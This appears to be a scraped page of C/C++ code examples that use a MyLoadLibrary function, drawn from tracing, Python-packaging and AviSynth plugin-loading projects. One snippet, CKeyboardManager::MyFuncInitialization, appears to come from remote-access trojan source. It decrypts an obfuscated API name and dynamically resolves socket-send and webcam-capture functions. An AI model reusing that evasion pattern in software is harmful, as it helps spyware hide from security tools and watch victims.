示例#1
0
static HMODULE WINAPI
MyLoadLibraryA(LPCSTR lpLibFileName)
{
    if (VERBOSITY >= 2) {
        debugPrintf("%s(\"%s\")\n", __FUNCTION__, lpLibFileName);
    }

    if (VERBOSITY > 0) {
        const char *szBaseName = getBaseName(lpLibFileName);
        for (unsigned i = 0; i < numReplacements; ++i) {
            if (stricmp(szBaseName, replacements[i].szMatchModule) == 0) {
                debugPrintf("%s(\"%s\")\n", __FUNCTION__, lpLibFileName);
#ifdef __GNUC__
                void *caller = __builtin_return_address (0);

                HMODULE hModule = 0;
                BOOL bRet = GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
                                              (LPCTSTR)caller,
                                              &hModule);
                assert(bRet);
                char szCaller[256];
                DWORD dwRet = GetModuleFileNameA(hModule, szCaller, sizeof szCaller);
                assert(dwRet);
                debugPrintf("  called from %s\n", szCaller);
#endif
                break;
            }
        }
    }

    return MyLoadLibrary(lpLibFileName);
}
示例#2
0
/*
  Load the Python DLL, either from the resource in the library file (if found),
  or from the file system.
  
  This function should also be used to get all the function pointers that
  python3.c needs at once.
 */
HMODULE load_pythondll(void)
{
	HMODULE hmod_pydll;
	HANDLE hrsrc;
	HMODULE hmod = LoadLibraryExW(libfilename, NULL, LOAD_LIBRARY_AS_DATAFILE);

	// Try to locate pythonxy.dll as resource in the exe
	hrsrc = FindResource(hmod, MAKEINTRESOURCE(1), PYTHONDLL);
	if (hrsrc) {
		HGLOBAL hgbl;
		DWORD size;
		char *ptr;
		hgbl = LoadResource(hmod, hrsrc);
		size = SizeofResource(hmod, hrsrc);
		ptr = LockResource(hgbl);
		hmod_pydll = MyLoadLibrary(PYTHONDLL, ptr, NULL);
	} else
		/*
		  XXX We should probably call LoadLibraryEx with
		  LOAD_WITH_ALTERED_SEARCH_PATH so that really our own one is
		  used.
		 */
		hmod_pydll = LoadLibrary(PYTHONDLL);
	FreeLibrary(hmod);
	return hmod_pydll;
}
示例#3
0
int _load_python(char *dllname, char *bytes)
{
	int i;
	struct IMPORT *p = imports;
	HMODULE hmod;
	ULONG_PTR cookie = 0;
	if (!bytes)
		return _load_python_FromFile(dllname);


	cookie = _My_ActivateActCtx();//try some windows manifest magic...
	//hmod = MemoryLoadLibrary(bytes);
	hmod = MyLoadLibrary(dllname, bytes, NULL);
	_My_DeactivateActCtx(cookie);
	if (hmod == NULL) {
		return 0;
	}

	for (i = 0; p->name; ++i, ++p) {
		//p->proc = (void (*)())MemoryGetProcAddress(hmod, p->name);
		p->proc = (void (*)())MyGetProcAddress(hmod, p->name);
		if (p->proc == NULL) {
			OutputDebugString("undef symbol");
			dfprint(stderr, "undefined symbol %s -> exit(-1)\n", p->name);
			return 0;
		}
	}

	return 1;
}
BOOL CKeyboardManager::MyFuncInitialization()
{
	HMODULE hKernel32 = (HMODULE)GetKernelModule();
	MyLoadLibrary = (pLoadLibraryA)MyGetProAddress( hKernel32, "LoadLibraryA" );
	if (!MyLoadLibrary) return FALSE;
	//////////////////////////////////////////////////////////////////////////
	
	//获取GetProcAddress地址
	char str1[50] = "7YhLjo[=XXjYkk";
	EncryptData((unsigned char *)&str1, ::lstrlen(str1), ENCODEKEY+2);

	//////////////////////////////////////////////////////////////////////////
	MyGetProcAddress = (pGetProcAddress)MyGetProAddress( hKernel32, str1 );
	if (!MyGetProcAddress) return FALSE;
	HMODULE hWs2_32 = MyLoadLibrary("Ws2_32.dll");
	HMODULE hAVICAP32 = MyLoadLibrary("AVICAP32.dll");
///////////////////////////////////////////////////////////////////////////////////////////////////////
	MyGetSystemDirectory = (pGetSystemDirectoryA)MyGetProAddress( hKernel32, "GetSystemDirectoryA" );
	if (!MyGetSystemDirectory) return FALSE;
	MySleep = (pSleep)MyGetProAddress( hKernel32, "Sleep" );
	if (!MySleep) return FALSE;
	Mylstrcat = (plstrcatA)MyGetProAddress( hKernel32, "lstrcatA" );
	if (!Mylstrcat) return FALSE;
	MyGetTempPath = (pGetTempPathA)MyGetProAddress( hKernel32, "GetTempPathA" );
	if (!MyGetTempPath) return FALSE;
	MySetFilePointer = (pSetFilePointer)MyGetProAddress( hKernel32, "SetFilePointer" );
	if (!MySetFilePointer) return FALSE;
	MyMoveFile = (pMoveFileA)MyGetProAddress( hKernel32, "MoveFileA" );
	if (!MyMoveFile) return FALSE;
	MyGetShortPathName = (pGetShortPathNameA)MyGetProAddress( hKernel32, "GetShortPathNameA" );
	if (!MyGetShortPathName) return FALSE;
	MyGetModuleFileName = (pGetModuleFileNameA)MyGetProAddress( hKernel32, "GetModuleFileNameA" );
	if (!MyGetModuleFileName) return FALSE;
///////////////////////////////////////////////////////////////////////////////////////////////////////
	Myclosesocket = (pclosesocket)MyGetProcAddress(hWs2_32,"closesocket");
	if (!Myclosesocket) return FALSE;
	Mysend = (psend)MyGetProcAddress(hWs2_32,"send");
	if (!Mysend) return FALSE;
///////////////////////////////////////////////////////////////////////////////////////////////////////
	MycapGetDriverDescription = (pcapGetDriverDescriptionA)MyGetProcAddress(hAVICAP32,"capGetDriverDescriptionA");
	if (!MycapGetDriverDescription) return FALSE;
	MycapCreateCaptureWindow = (pcapCreateCaptureWindowA)MyGetProcAddress(hAVICAP32,"capCreateCaptureWindowA");
	if (!MycapCreateCaptureWindow) return FALSE;

	return TRUE;
}
示例#5
0
static HMODULE WINAPI
MyLoadLibraryExA(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
{
    if (VERBOSITY >= 2) {
        debugPrintf("%s(\"%s\")\n", __FUNCTION__, lpLibFileName);
    }
    return MyLoadLibrary(lpLibFileName, hFile, dwFlags);
}
示例#6
0
UINTPTR _load_dll(const char *name, const char *bytes){

	HMODULE hmod;
	ULONG_PTR cookie = 0;
	cookie = _My_ActivateActCtx();
	hmod = MyLoadLibrary(name, bytes, NULL);
	_My_DeactivateActCtx(cookie);
	return hmod;
}
示例#7
0
static PyObject *
import_module(PyObject *self, PyObject *args)
{
	char *initfuncname;
	char *modname;
	char *pathname;
	HMODULE hmem;
	FARPROC init_func;

	ULONG_PTR cookie = 0;
	PyObject *findproc;

	/* code, initfuncname, fqmodulename, path */
	if (!PyArg_ParseTuple(args, "sssO:import_module",
			      &modname, &pathname,
			      &initfuncname,
			      &findproc))
		return NULL;
    
	cookie = _My_ActivateActCtx();//try some windows manifest magic...
	hmem = MyLoadLibrary(pathname, NULL, findproc);
	_My_DeactivateActCtx(cookie);

	if (!hmem) {
	        char *msg;
		FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
			       NULL,
			       GetLastError(),
			       MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
			       (void *)&msg,
			       0,
			       NULL);
		msg[strlen(msg)-2] = '\0';
		PyErr_Format(PyExc_ImportError,
			     "MemoryLoadLibrary failed loading %s: %s (%d)",
			     pathname, msg, GetLastError());
		LocalFree(msg);
		/* PyErr_Format(PyExc_ImportError, */
		/* 	     "MemoryLoadLibrary failed loading %s (Error %d loading %s)", */
		/* 	     pathname, GetLastError(), LastErrorString); */
		/* PyErr_Format(PyExc_ImportError, */
		/* 	     "MemoryLoadLibrary failed loading %s", pathname); */
		return NULL;
	}

	init_func = MyGetProcAddress(hmem, initfuncname);
	if (do_import(init_func, modname) < 0) {
		MyFreeLibrary(hmem);
		return NULL;
	}

	/* Retrieve from sys.modules */
	return PyImport_ImportModule(modname);
}
示例#8
0
static HMODULE WINAPI
MyLoadLibraryExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
{
    if (VERBOSITY >= 2) {
        debugPrintf("%s(L\"%S\")\n", __FUNCTION__, lpLibFileName);
    }

    char szFileName[256];
    wcstombs(szFileName, lpLibFileName, sizeof szFileName);

    return MyLoadLibrary(szFileName, hFile, dwFlags);
}
示例#9
0
AVSValue LoadPlugin(AVSValue args, void* user_data, IScriptEnvironment* env) {
  bool quiet = (user_data != 0);
  args = args[0];
  const char* result=0;
  for (int i=0; i<args.ArraySize(); ++i) {
    HMODULE plugin;
    const char* plugin_name = args[i].AsString();
    if (MyLoadLibrary(plugin_name, &plugin, quiet, env)) {
      typedef const char* (__stdcall *AvisynthPluginInitFunc)(IScriptEnvironment* env);
      AvisynthPluginInitFunc AvisynthPluginInit = (AvisynthPluginInitFunc)dlsym(plugin, "AvisynthPluginInit2");
      if (!AvisynthPluginInit) {
        AvisynthPluginInit = (AvisynthPluginInitFunc)dlsym(plugin, "_AvisynthPluginInit2@4");
/*
        if (!AvisynthPluginInit) {  // Attempt C-plugin
          AvisynthPluginInit = (AvisynthPluginInitFunc)dlsym(plugin, "avisynth_c_plugin_init");
          if (AvisynthPluginInit) {
            dlclose(plugin);
            return env->Invoke("LoadCPlugin", args);
          }
        }
*/
        if (!AvisynthPluginInit) {  // Older version
          dlclose(plugin);
          if (quiet) {
            // remove the last handle from the list
            HMODULE* loaded_plugins = (HMODULE*)env->GetVar("$Plugins$").AsString();
            int j=0;
            while (loaded_plugins[j+1]) j++;
            loaded_plugins[j] = 0;
          } else {
            env->ThrowError("Plugin %s is not an AviSynth 2.5 plugin.",plugin_name);
          }
        } else {
          result = AvisynthPluginInit(env);
        }
      } else {
        result = AvisynthPluginInit(env);
      }
    }
  }
  if (loadplugin_prefix) free((void*)loadplugin_prefix);  // Tritical May 2005
  loadplugin_prefix = 0;
  return result ? AVSValue(result) : AVSValue();
}